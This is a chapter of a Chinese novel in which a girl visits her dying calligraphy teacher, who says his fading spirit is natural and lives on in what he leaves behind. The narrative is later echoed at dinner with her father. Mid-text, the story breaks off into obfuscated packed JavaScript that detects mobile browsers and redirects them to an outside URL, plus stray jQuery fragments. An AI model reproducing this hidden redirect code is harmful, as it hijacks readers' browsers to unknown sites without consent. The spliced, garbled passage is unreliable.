第二天下午，张清去了周伯年那里。
路上经过老刘家，老刘正好在门口倒水。他家的新水管上个月刚换好，老刘见人就夸，说如果不是张清那次的应急处理，他家的地板早就泡烂了。看到张清，老刘喊了一声："小张！你周伯好些了没？"
"不知道。我去看看。"
"哎。人老了就是这样。入了冬，身上的零件都不大听话。你周伯是个好人，好人命不长，这话虽然不中听，但有几分道理。好人都操心得多。"
张清没接话。她加快了脚步。
推开门的时候，她闻到了一股药味。比中药更淡，带着点甜的气息。像甘草，又有点像别的什么。
周伯年躺在躺椅上。他的老伴儿，一个矮矮胖胖的老太太，坐在旁边的矮凳上，手里端着一碗黑乎乎的东西。
"喝了吧。"老太太说，"趁热。"
周伯年接过碗，慢慢喝了一口。他的声音比平时更哑。
老太太看到张清："来了？坐吧。你周伯不舒服，今天不写字了。"
"我不碍事。"周伯年放下碗，"过来坐。"
张清走过去，在书桌前面的椅子上坐下来。今天桌上没有意路图。桌面很干净，只有一块砚台和一支笔。砚台是干的，今天没有磨墨。旁边的笔架上只有一支笔。以前笔架上总是挂着三四支，大楷、小楷、行书。现在只有一支了。
老太太收拾完碗出去了。屋子里只剩两个人。药味还在空气里飘着。火炉里的煤烧得不太旺，蜂窝煤快燃尽了，火焰从橙红变成了暗红。
沉默了一会儿。
"你想好了？"周伯年先开口。
"想好了什么？"
"你要问什么。"
张清愣了一下。然后她明白了，周伯年昨天说"你回去吧，明天再来"，是让她回去想清楚自己到底要问什么。
"我想问，有没有办法让你的'意'不散。"
周伯年没有立刻回答。他看着天花板。天花板上有一道裂缝，从墙角一直延伸到灯绳的位置。
"你多大了？"周伯年问。
"十二。"
"我十二。"周伯年重复了一遍，声音很轻，像是在自言自语。"我十二岁的时候，连字都不会写。家里穷，请不起先生。后来跟村里的一个老先生学，他不要钱，只要你肯来。我每天走十里路去他那里。十里路。下大雨也走。冬天路上结了冰，摔了好几跤，爬起来接着走。"
张清没有说话。
"老先生教了我三年。三年之后，他说：你不用来了。我教不了你了。你能教自己的东西，我教不了。"
周伯年停了一下，咳嗽了一声，闷闷的，压在喉咙里。
"后来我走了很远的路，去了很多地方，见了很多人。每一处都学一点。有的学对了，有的学错了。到了六十岁，才明白老先生那句话的意思。"
"什么意思？"
"他能教的是'怎么写'。他教不了的是'写了之后怎么办'。"
张清安静地听着。
"你的'意'在散，"周伯年看着张清，"你读到了。"
"嗯。"
"你读到的，是什么样子的？"
张清想了想。"像石头在风化。表面在一层一层地掉。"
周伯年点了点头。"差不多。"
"那能不能让路长一点？"
周伯年看着她。沉默了一会儿。
"不能。"
这两个字说得很轻。但张清听得很清楚。
"路有多长，是天生定的。你我能做的，是在这条路上走得好一点。"
沉默。窗外的风停了。远处有人在劈柴，"咔嚓、咔嚓"的声音传过来，一下一下的。
张清低着头，看自己的手。手指上的墨渍。指甲缝里洗不掉的黑。
她想起了第一次去周伯年家。周伯年给她倒了一杯茶，递给她一支笔。"写个字看看。"她写了一个"大"字。歪歪扭扭的。周伯年看了半天，说了一句："嗯。有骨头。"
那是她第一次被人说"有骨头"。她不知道什么意思。但她记住了。从那以后，她每次写字都会想，"有骨头"。
现在，这个说她"有骨头"的人，躺在一把旧躺椅上，呼吸浅得像风里的蛛丝。
"我害怕。"她说。
她说出口之后才意识到自己说了什么。
周伯年没有笑。也没有安慰她。他"嗯"了一声。屋子里很安静。
"害怕是正常的。"老人说，"你才十二岁。害怕说明你在乎。不在乎的人不害怕。人这一辈子，总要学会和害怕相处。你不能让害怕替你做决定。"
他停了一下。
"但害怕不能变成'逆'。你画'延'字，那是'逆'。你想把我的'意'留住，那是'逆'。自然的事，不要逆。"
"可是——"
"你觉得我散了之后，就没有了？"
张清抬头看他。
"'意'散了，不是消失。是归。"周伯年的声音更轻了。"你奶奶的'意'，散了没有？"
张清想了一下。"没有。还在那三张纸上。"
"对。还在。但那个'在'，已经是你奶奶留下的一点痕迹了。你在泥地上走过，你走了，脚印还在。但脚印不是你。"
"我也会留下脚印。"周伯年笑了一下。那个笑容很淡，但很真。"你看到的这些纸，意路图、笔路图，都是脚印。你学的这些东西，怎么走线、怎么读、怎么'定'，也是脚印。脚印够多了，走路的人就不重要了。"
张清沉默了很久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809212|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
她想到了奶奶。奶奶死了三十年了。但她的"意"还在，在那三张纸上。在笔路图的线条里。在她写字时候的某些习惯里。
这就是"脚印"吗？如果是，那脚印能留多久？
也许，这就是"不散"的方式。把"意"留在别人身上，而不是留在身体里。
她不确定这个想法对不对。但她觉得，这是目前她能想到的最好的答案。
"还有一件事。"周伯年说，声音比刚才更哑了。
"什么？"
"第五张纸。你以后会遇到一个人。他会告诉你第五张纸在哪里。但你要记住一件事。"
他看着张清的眼睛。
"看到了，不等于要拿。"
张清不理解这句话。但她记住了。
"为什么？"
"到时候你就知道了。"周伯年闭上了眼。停了一会儿，他又开口了，声音很轻，像是在自言自语。
"你的路，才刚刚开始。"
张清抬起头。周伯年已经闭着眼，头歪向一侧。呼吸很浅。
他老伴儿从里屋出来，看到张清站在门口，冲她摆了摆手，意思是别吵。然后拿了一条薄毯，轻轻盖在周伯年身上。
张清走出院子。天已经快黑了。院子里的枣树在暮色中只剩下一个黑色的轮廓。她站了一会儿，想到周伯年说的"你的路，才刚刚开始"，心里说不出是什么滋味。然后回家了。
到家的时候，父亲张立本已经在桌前坐着了。一碗稀饭，两个馒头，一碟咸菜。父亲吃饭的时候不说话，背挺得直直的，这是他当兵时候的习惯，几十年了没改过。
张清洗了手，坐下来。拿了个馒头，掰了一半。馒头是温的，母亲一直在锅里留着。
父亲看了她一眼。"你周伯还好？"
"不太好。"
父亲"嗯"了一声。没有追问。他夹了一筷子咸菜，放进嘴里，慢慢嚼着。
"爸。"
"嗯。"
"人老了，是不是都会变？"
父亲放下筷子。看着她。看了很久，像是在想怎么回答一个十二岁的孩子问出的这种问题。
"身体变，那是自然的。谁也拦不住。"父亲说，"但有些人身体变了，心里的东西没变。那就不算真变。"
"心里的东西，是什么？"
父亲想了一下。"就是你一辈子攒下来的那些东西。跟钱没关系。是你做过的事，你写过的字，你教过的人。那些东西，散不了。"
张清愣了一下。这和周伯年说的"脚印"是一回事。父亲虽然从来没听过"脚印"这个词，但他说的意思，和周伯年说的一样。东西留下了，人就不怕散。她没有再问。低头吃馒头。馒头有点硬了，但她嚼得很仔细，一口一口地吃完了。